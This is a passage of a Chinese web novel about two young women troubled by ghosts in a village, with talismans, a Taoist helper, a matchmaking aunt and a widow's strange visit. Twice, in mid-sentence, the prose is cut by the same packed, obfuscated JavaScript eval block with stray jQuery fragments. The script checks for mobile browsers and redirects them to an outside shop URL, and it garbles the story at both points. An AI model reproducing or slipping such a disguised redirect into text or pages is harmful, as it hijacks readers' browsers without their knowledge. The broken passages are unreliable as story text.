陆奇文笑道:“唉,他住哪儿不用你们操心,三姑早就准备好了房间,他当然要和我回去住的。” 崔茸只能同意,陆奇文又送了她和陆珈珈一人一个小铃铛,让她们挂在手腕上就行,一有什么风吹草动他就能感觉到。 崔茸依照他的话,将那个串了银色小铃铛的红绳套到手腕上,又好奇晃了晃,并没有发出什么声音,是个哑巴铃铛。 在看到上面刻印的小字时,崔茸不由一愣,随即从口袋里拿出手机,将手机壳打开,里面赫然躺着一张皱巴巴的黄色符纸。 这时陆奇文和李常青已经勾肩搭背走到了大门口,崔茸忙将这两人叫住:“等一下。” 两人停住脚步回头。 崔茸将手里的符纸展示给李常青看:“你看看这个,是不是你给的平安符?” 李常青伸长了脖子去看,不过两秒就确定道:“是我师父的手笔。” 陆奇文好奇道:“你这个是哪里来的?” 崔茸:“陆大强给的,珈珈也有一个。” 李常青脸色凝重起来:“这样的话,恐怕不是那些东西不想害你们,而是她害不了你们了。” 陆珈珈听了李常青的话,脸色立马煞白起来。 她很想抱着李常青哭一场,求他一定要帮帮她们这两个苦命人,但一步刚跨出去,李常青似乎就察觉到了她的意图,忙后退两步。 陆珈珈只能退而求其次,抱住了崔茸的胳膊大声哭嚎起来:“怎么办啊崔茸……呜呜呜……我们俩到底做错了什么啊……连鬼都要欺负我们……呜呜呜……” 崔茸担心她的鼻涕眼泪都蹭到自己身上,想把她甩开,但她像是用了502胶水一样,怎么也甩不脱,牢牢得站在了她的手臂和肩膀上一样。 她心里挺不好意思的,在陆大婶说了那些话后,她对陆大强是怎么看怎么不顺眼,即便他是真的无辜,她却也迁怒了他。 现在得知很有可能是人家送的符纸救了自己和陆珈珈两条命,她挺羞愧的。 生出不该有心思的是陆大婶,陆大强的心智就是个小孩,满脑子都是吃喝玩乐,又怎么可能懂男女之事,她何必连他一起责怪。 同样为难的还有李常青:“如果这样的话,我再住三姑家,有点太远了……” 陆奇文家离这里还有一段距离,恐怕不能及时赶到。 崔茸道:“那你就在这里住下吧,这里又不只一间房一张床,你有什么好怕的?” 李常青只道:“不行不行,真的不行。” 崔茸心里吐槽,他还真把自己当唐僧啦? 就算他真的是唐僧,自己和陆珈珈也都不是女妖精啊! 隔壁坐在小马扎上的陆大婶听到这里,立马请缨道:“不如住我家吧,我都这把年纪了,家里还有那口子和大强在,李先生也不用觉得不自在。” 这倒真是个好主意,但崔茸还是有点不放心。 陆大婶平日里看着温柔可亲,脸上总是带着笑,但陆大强就是她的逆鳞,上次崔茸和陆珈珈可是直言嫌弃陆大强傻,她到现在也没有个笑脸。 她会这么大方吗? ***** 因为有李常青在的关系,两方关系有了破冰的趋势。 当然其中也少不了陆大强那两张平安符的功劳。 陆大叔脸上也有了笑,殷勤地劝李常青多吃点。 看来李常青师徒在陆家镇真的很有威望。 夜幕降下来,有那两张平安符做保障,崔茸心里倒不是很慌张。 她还是有些别扭,不想搭理陆大婶这两口子,更不会在她面前多和陆大强说话,以免再给了她什么错觉, 如此一来,她的玩伴就只有憨憨的大黄了。 她蹲下来,把一包零食小馒头一个一个喂给大黄吃。 不得不说,这狗是真乖,哪怕吃的就在眼前,它也不争不抢,只等着投喂。 大拇指大小的小馒头,一人一狗也不觉得烦,人是一个一个喂,狗是一个一个吃,等到吃了半袋子,崔茸想站起身来,不期听到陆大婶的声音响起来:“珈珈啊,不是大婶倚老卖老教育你,你父母死得早,没人教你这些人情世故。你大叔是个糙爷们,你是个女娃儿,也不好跟你多说什么,只能由婶子跟你说了。你自己好好想想,我们是你的一家人,那个崔茸呢?只不过是你的同学,为了一个外人,跟我们家里人闹得这么僵,你觉得你自己做得对吗?你大叔可是一直把你当成亲女儿的,你这么做可太伤人的心了。” 陆珈珈的声音:“本来就是你们做的不对啊。当时明明是我生日,大叔都不让我上桌。还有崔茸,人家就是没来过农村,跟我来玩的,你不高兴我也得说,大强哥是个傻子,你给人家撮合一个傻子,你自己想想,你觉得你做得对吗?” 陆大婶:“好好好,知道你不高兴,这事儿婶子以后绝对不会再提了。我问你,你们是怎么跟□□扯上关系的?你如今年纪也不小了,该找个对象了,我看这个□□就不错,人长得好,看着也老实,和那个油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167022|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴滑舌的陆奇文一点儿也不一样,还有本事,你要是跟着他,那就吃喝不愁了。不是婶子埋汰你,姓崔那丫头的确比你长得要好看,你可要多下点功夫,别让她抢先了。” 陆珈珈不可置信道:“婶子,你胡说什么呢?人家李常青是什么玉男派的人,见到个女的都要离三丈远,你催婚催疯了吧?” 陆大婶不高兴道:“小丫头片子懂什么?我活这么大,就没见过不想女人的男人。女追男,隔层纱,只要你主动一点,肯定能拿下。” 陆珈珈语气是明显的敷衍:“好好好,拿下都拿下。” 陆大婶当然也听出了她话里的意思,这是明显没将她的话放在心上,“你现在年纪小不懂事,我可是拿你当亲闺女看待,才跟你说这些体己话。” 陆珈珈:“真的假的?” 陆大婶:“当然是真的。” 陆珈珈道:“那我上大学时,你咋不给我交学费还有生活费,你该不会不给小丽生活费吧?崔茸虽然只是我同学,但我的助学贷款可是她给还的,我肯定是向着她呀。” 陆大婶阴阳道:“上了大学去大城市见过世面的就是不一样啊,是亲情也不顾了,亲人也不认了,好像是掉到钱眼里去了,眼里只有那个钱。我今天就是狗拿耗子,闲得才和你这个小白眼狼说些废话。” 崔茸无意偷听两人的对话,觉得无语又好笑,等两人不欢而散后才起来,腿麻得不成样子,差点一个踉跄摔倒。 稳住身形后,她把剩下的半包小馒头都倒给了大黄,狗并未立刻就吃,而是抬头看崔茸,得到她一点头的肯定答复后,才大快朵颐起来。 接下来一连几日,别说鬼了,家里那些怪事也都再也不发生了,崔茸却怎么也不能安心下来。 有把刀就悬在脖子上,不知道时候时候就会落下来,这感觉也太难受了。 李常青这人倒是勤快能干,在陆大婶家,他勤快得不行,哪怕不让他帮忙,也自己抢着干。 也正是因为他,陆大婶家热闹起来,秋天马上就到了,这两日温度直线下降,身上的短袖也要换成长袖,小孩子们又开始去上学,现在土地没了,村里的老人们无事情可做,温度又正适宜,是遛弯儿唠嗑的绝佳机会。 崔茸挺佩服李常青的,要是让她和这些老人打交道,她肯定受不了。 人一老了就分外固执,还特别喜欢教育别人,而崔茸最讨厌的就是被别人说教。 今天却来了个稀客,孙秋月穿着一件白色连衣裙,袅袅婷婷走过来了。 以往见她,每次不都大红就是大紫,倒是少见她穿白色。香水味也换了,从原来馥郁到呛鼻子换成了小清新的花香。 她守寡多年,也不过三十出头,正是最有风韵的时候,下巴尖尖,不浓妆艳抹就很有楚楚可怜的韵致。 只可惜陆大婶是不能欣赏她的韵致的,只看到她的身影,就立马鼻子不是鼻子,眼睛不是眼睛起来,罕见恶声恶气到:“你来做什么?” 16. 第 16 章 孙秋月柔柔一笑,若是让陆建业那伙人在这,肯定会看直了眼,可这里没有那些人,只有一个痴傻的陆大强,一个最讨厌狐狸精的陆大婶,一个见了女人就要躲老远的李常青,还有一只流着哈喇子的大黄狗。 陆大婶这样的态度,孙秋月也没生气,心平气和道:“婶子管得可真宽,我闲着无聊来找珈珈妹子和她那个城里朋友说说话,又不是来你家,这你都要管吗?” 陆大婶不是个泼辣人,听了便不讲话,只是看了自己的儿子一眼。 陆大强虽然很想再去问孙秋月要糖,但他知道妈妈不喜欢孙秋月,只站在原地不敢动,连个眼神也没给。 孙秋月走到陆珈珈门口,看到正在扫落叶的李常青,朝他微微一笑:“这就是李先生吧?哎呦长得可真俊俏,真是英雄出少年呢。” 李常青只低着头不吱声。 孙秋月一连吃了几个瘪,也没有生气,只是用手拍响了陆珈珈家的大铁门,说话依旧是柔且媚的,“珈珈妹子,小崔妹子,我是村头小卖部的秋月姐,快开门我带着好东西来看你们啦。” 看见孙秋月闪身进去,房门又被关上,陆大婶往地上吐了一口唾沫,嫌弃道:“自己身不正也就算了,还想着带坏年轻姑娘不成?” 她现在虽不大喜欢陆珈珈和崔茸,这俩人去过大城市就傲得不知天高地厚了,但她更觉得孙秋月不是好东西。 陆珈珈和崔茸最起码本本分分的,除了去买菜大门不出二门不迈,也不喜欢和小伙子打情骂俏,哪里像是这个孙秋月,守寡就该安分一点,还天天穿得花枝招展,跟村里那几个二流子也不清不楚的。 此刻安分守己的崔茸和陆珈珈才刚醒没多久,两人身上还都是宽松的睡衣,头发随便抓了两下,也仅仅是能小鸟不会当成窝的地步。 村里人串门大多都是在傍晚,对于孙秋月这个十点多就来扰人清梦的家伙崔茸实在是待见不起来,无奈打着哈欠去刷牙洗脸。 孙秋月也不急,将带来的榴莲放下,眼波流转盯着她们看,“还是年轻好啊,刚起来就这么水灵。” 崔茸就蹲在院子里刷牙,听到这话总觉得怪怪的,但要说是哪里怪吧,她又说不出来。 榴莲在陆家镇可不常见,崔茸觉得自己和她还没有熟到这个地步,拒绝得不是很委婉:“我不吃榴莲,你还是拿走吧。” 孙秋月笑问:“小崔妹妹是不吃榴莲呢,还是只不吃我带来的榴莲呢?” 崔茸诚实道:“不吃你拿来的的。我总觉得你是黄鼠狼给鸡拜年,没安好心。” 孙秋月笑道:“我还以为你们大城市的姑娘会和我们这些农村人不一样呢,没想到也差不多,脑筋也是一样的死板。现在都什么年代了,我又没有个孩子傍身,再找一个不是很正常吗?我虽然没去过大地方,但现在网络发达,我也再手机上刷到过,你们大城市的女人才会玩呢,又是会所又是男模的,我还这么年轻,又不指望得个贞洁牌坊,再找一个不是很正常的事吗?” 崔茸道:“你爱找几个就找几个,和我有什么关系,我又不是你爸妈,管不着你。” 孙秋月奇了:“那你怎么一见我就这个表情,很嫌弃我似的?” 崔茸道:“你难道不会从你自己身上找找原因吗?从前你可不是这样,今天呢,突然拎个榴莲来找我们就算了,还一直用这种奇怪的眼神盯着我,谁知道你想干什么?” 孙秋月一愣,随即笑得前仰后合:“我能想干什么?我也是女人,就算我想也做不成呀。我就是来问问你们,你们准备在陆家镇待多久啊?又是什么时候走啊?” 崔茸警惕道:“你问这个干什么?” 孙秋月:“哎呦,至于这么小气吗?我又不能吃了你。我也想出去看看呢,就是我一个女人家,没什么学历,又没见过什么世面,一个人也不敢出去。就想着你们要是回去,能不能捎上我,放心,开销我自己出,就是我不敢自己一个人,找你们做做伴。” 崔茸想也没想就拒绝:“不行,我们跟你又不熟。” 孙秋月微微一愣,但马上脸上又恢复了笑容,对于崔茸不留情面的拒绝,也并没有尴尬,只是起身道:“行吧,既然如此,那我再想想别的办法好了。” 说完就走了出去,正好和刚从外面厕所回来的陆珈珈打了个照面。 陆珈珈先是奇怪道:“她来干什么?” 接着就看到放在水泥地上的榴莲,眼睛立马一亮,“是专门来给我们送榴莲的吗?她人可真好!” 真是见吃眼开! 崔茸道:“别碰她的东西了,给她送回去或者扔了吧,我总感觉她刚才看我的眼神好奇怪,直勾勾的,不知道想干什么。” 陆珈珈忙道:“扔了干嘛呀,多好的东西。她又不会实名制投毒,咱一会儿就把它吃了。” 崔茸无奈道:“你这么爱吃,我给你买。” 陆珈珈:“在我们这里,你想买榴莲可不一定能买得到呢。” 说完就拿来菜刀,大力出奇迹,一下劈成了几瓣。 崔茸对这种味道奇异的东西不喜欢但也不讨厌,陆珈珈倒是一如既往的重口,臭豆腐、螺蛳粉、活珠子、炸蜈蚣,就没有她不吃的。 看着她一大口一大口的吃着,倒是很适合去做吃播,这风卷残云的模样和大黄也颇有几分相似之处。 等陆珈珈吃完了,脑子终于不是摆设,智商重新占领高地:“她刚才怎么直勾勾看着你的?” 崔茸模仿了一下孙秋月刚才的眼神。 陆珈珈摸着下巴,就算吃人也不嘴短:“我之前只听说过,这个孙寡妇喜欢勾引男人,难道她现在连女人也要勾引了?” 崔茸道:“得了吧,她那眼神,哪里是要勾引我,吃了我还差不多。” 她压低声音,“她刚不会是知道我其实是个很有钱的富婆,所以想谋财害命吧?” 陆珈珈呵呵干笑两声:“只能看余额花不了的富婆。” 崔茸想反驳,但她说的是事实,没法反驳,只能转移话题:“午饭吃什么?” 陆珈珈伸了个懒腰:“你想吃啥?” 崔茸:“我随便什么都行。” 她说的是实话,她不挑食,重口味的东西她也能吃,就是不那么喜欢而已。 陆珈珈道:“如果以后你能光明正大刷卡花钱了,我要做一个美食博主,别人都是做饭投喂儿子女儿,我就做饭投喂你。光出不进也不是个事,我这么会做饭,你长得漂亮可以当个花瓶,这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167023|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等我们火了,就可以接广告赚钱了!” 崔茸道:“肯定会有这么一天的。” 陆珈珈是真的爱下厨,她做饭也很有天分,每天都换着花样。崔茸其实也会做饭,但很显然没有她这样热爱。 就好比拿两个人的午饭来说吧,如果是让崔茸当主厨,她肯定会做一大盘菜够两个人吃,而不是像陆珈珈这样,四菜一汤是最基本的。 今天也不例外,四道菜分别是麻辣虾尾、金针菇肥牛卷、双椒鸡丁、四喜丸子。 在她做饭的中途,崔茸的手机铃声响起来,她本来是不想接的,可对面却是锲而不舍,打了一个被挂,又接着打第二个。 崔茸在拉黑和接通之间犹豫了一瞬,最后还是选择了接通,没有别的原因,这个电话号码她认识。 “听说妈给你打电话让你回来?” 崔茸听到熟悉的女声,先哼了一声才道:“你直接问她不就行了吗?何必舍近求远。还有,你怎么知道我现在的电话号码?” “我觉得比起这个,你还有更需要担心的事。” 崔茸:“少卖关子。” “你最好还是不要回来,妈和你的那个没成的未来婆婆这些天天天聚在一起不知道在嘀咕什么,还有几个神神叨叨的人,一直在说些莫名其妙的话。” 崔茸:“具体是什么?你说话怎么没头没尾的?” “呵,我怎么知道,她们一看到我就不做声了,不过我是听到了你的名字和你那个短命男朋友的名字,总归和一死人的名字不断被放在一起,不可能是什么好事吧?” 这倒是真的,崔茸沉默两秒,连个招呼都没打,直接挂断了电话。 想象出电话那头的女声气急败坏的样子,她倒有点高兴起来,但很快又思索起刚才那话的意思。 徐韶不是好人,她亲妈姚妙也没啥好心眼,这两人凑在一起,绝不可能憋出来什么好屁。 陆珈珈在厨房里喊人:“崔茸你干嘛呢?快来端菜呀。” 崔茸收起手机,应道:“来了。” 陆珈珈前不久吃了一整个榴莲,午饭便没有什么好胃口,只吃了小半碗米饭就停下来不吃了,托着脸望着崔茸发呆:“我觉得那个李常青好像不怎么靠谱啊,这都好几天了,别说鬼了,连个影子都没看到。他该不会就是个骗子,来骗吃骗喝的吧?” 崔茸把嘴中食物咽下去:“这都什么年代了,吃喝又不是什么特别珍贵的东西,再说了,村里人都挺敬重他和他师父,两人应该是有真本事的吧。” 陆珈珈不屑道:“你是不知道,我们村里,像是我叔我婶这辈的,能上个高中就是顶天了,更别说我爷奶辈的,大字不识一个是正常事,别的不说,就说陆三姑,她也是什么都不懂,但不还是被村里捧成了神婆?” 崔茸道:“但至少这几天,我们俩周围再也没发生过怪事。” 陆珈珈点点头:“这倒是。” 她抬起手腕,拨弄了一下上面的大拇指头大小的铃铛,依旧是一点儿声音都发不出来,不由吐槽道:“我怀疑这铃铛根本就不会响,就是他拿来忽悠我们的……” 下一刻,她的手明明已经放了下来,这铃铛却突然自己响了,叮铃铃的一串,声音极清脆。